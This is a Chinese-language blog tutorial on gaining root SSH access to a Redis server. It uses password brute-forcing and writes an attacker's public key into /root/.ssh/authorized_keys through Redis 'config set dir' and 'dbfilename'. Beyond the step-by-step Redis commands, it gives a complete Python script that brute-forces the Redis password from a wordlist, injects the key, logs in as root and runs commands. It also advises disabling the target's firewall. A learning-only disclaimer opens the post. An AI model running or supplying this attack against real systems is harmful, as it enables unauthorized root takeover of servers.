本文最后更新于 2024-07-26,文章内容可能已经过时。

通过Redis RDB提权(未授权登录)

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

SSH

什么是SSH?SSH是如何工作的? - 华为 (huawei.com)

客户端登录到服务器

  1. 客户端的公钥给服务器;

  2. 客户端通过私钥加密信息;

  3. 服务器通过客户端给的公钥进行解密,如果能解密成功,就无需密码登录。

Redis RDB提权过程

  1. 1. 客户端生成密钥对;

  2. 2. 服务器支持ssh

  3. 3. redis支持rdb

  4. 4. redis可以被爆破;

  5. 5. 修改rdb的存储目录;

  6. 7. 通过redis写入客户端的公钥;

  7. 8. 保存;

客户端生成密钥对

进入用户家目录

image-20240417161204196.png

image-20240417161143551.png

输入redis-cli.exe -h [要链接到redis服务器的IP] -p 6379

(这里链接不上的话就是redis服务器的防火墙没关或者其他原因)

(在redis服务器中输入:systemctl stop firewalld关闭防火墙后重新链接)

image-20240417161033506.png

image-20240417161056189.png

服务器生成密钥对

进入用户家目录 /root

  1. ssh-keygen

  1. ls -a

  2. #会有一个.ssh的文件夹

执行:

image-qsuy.png

关闭AOF

在redis安装目录中的redis.conf中:

image-uqeh.png

将appenonly改为no

image-bwfo.png

appendonly no #默认就是no

设置key并保存

重启redis:

redis-server ./redis.conf

(这里显示redis进程在后台执行)

image-bkrh.png

(链接redis服务器后)

设置公钥:

set mykey “”\n\n\n公钥\n\n\n"

修改存储路径路径:

config set dir /root/.ssh

修改文件名称:

config set dbfilename authorized_keys

保存文件:

save

(之后就可以实现免密码登录redis服务器)

image-20240417161006549.png

客户端免密登录

ssh -i id_rsa root@192.168.153.138

image-ebev.png

用python代码实现上述功能实现自动执行:

(要准备提前准备好ssh密码爆破字典和客户端公钥)

# 用python模拟Redis密码爆破后实现Redis的SSH免密登录(root权限)
# 即用python实现Redis提权
import paramiko
import redis
from paramiko.client import AutoAddPolicy

# Redis密码爆破
def burp_redis(ip):
    with open("./dict.txt", mode="r", encoding="utf-8") as f:
        pass_lst = [item.strip() for item in f.readlines()]  # 去除空白字符
        for item in pass_lst:
            try:
                rds = redis.Redis(host=ip, password=item, socket_timeout=5)  # 设置超时
                rds.ping()  # 测试连接
                print(f"密码{item}正确")
                print(f"成功连接到Redis服务器: {ip}"+'\n')
                print(f"开始注入公钥")
                inject_pubkey(ip, rds)  # 注入公钥
                break  # 找到正确密码后退出循环
            # 抛出密码错误异常
            except redis.AuthenticationError:
                print(f"密码{item}错误")
            # 抛出连接异常
            except redis.ConnectionError as e:
                print(f"连接Redis服务器失败: {e}")
            # 抛出其他异常
            except Exception as e:
                print(f"发生异常: {e}")

# 注入公钥
def inject_pubkey(ip,rds):
    public_key = './public_key.txt'
    # 读取公钥文件
    with open(public_key,mode="r",encoding="utf-8")as f:
        # 将公钥写入Redis,并设置Redis的dir和dbfilename,最后保存,这样就可以实现SSH免密登录
        rds.set('zhaohan',f.read())
        rds.config_set('dir','/root/.ssh')
        rds.config_set('dbfilename','authorized_keys')
        rds.save()
        # 连接SSH登录redis服务器
        ssh_login(ip)

def ssh_login(ip):
    private_key_location = "C:/Users/14042/.ssh/id_rsa"
    # 这句的意思是告诉paramiko库从指定的文件中读取私钥
    private_key = paramiko.RSAKey.from_private_key_file(filename=private_key_location)
    # 创建SSH对象
    ssh = paramiko.SSHClient()
    # 允许连接不在know_hosts文件中的主机
    ssh.set_missing_host_key_policy(AutoAddPolicy)

    ssh.connect(hostname=ip, username="root", pkey=private_key)
    # 执行命令,和传统的执行命令有点不一样,这里的标准输入输出是在内存中的
    # stdin的意思是标准输入,stdout的意思是标准输出,stderr的意思是标准错误
    #执行ls命令
    print("ssh登录成功")
    print("开始执行ls命令:")
    stdin, stdout, stderr = ssh.exec_command("ls")
    # 打印执行结果
    # stdout.read() 读取标准输出,是一个二进制数据,所以需要解码,decode()是解码的意思
    print(stdout.read().decode())

    # 执行whoami命令
    print("开始执行whoami命令:")
    stdin, stdout, stderr = ssh.exec_command("whoami")
    print(stdout.read().decode())

if __name__ == '__main__':
    burp_redis("192.168.153.138")



执行结果如下

image-oqzr.png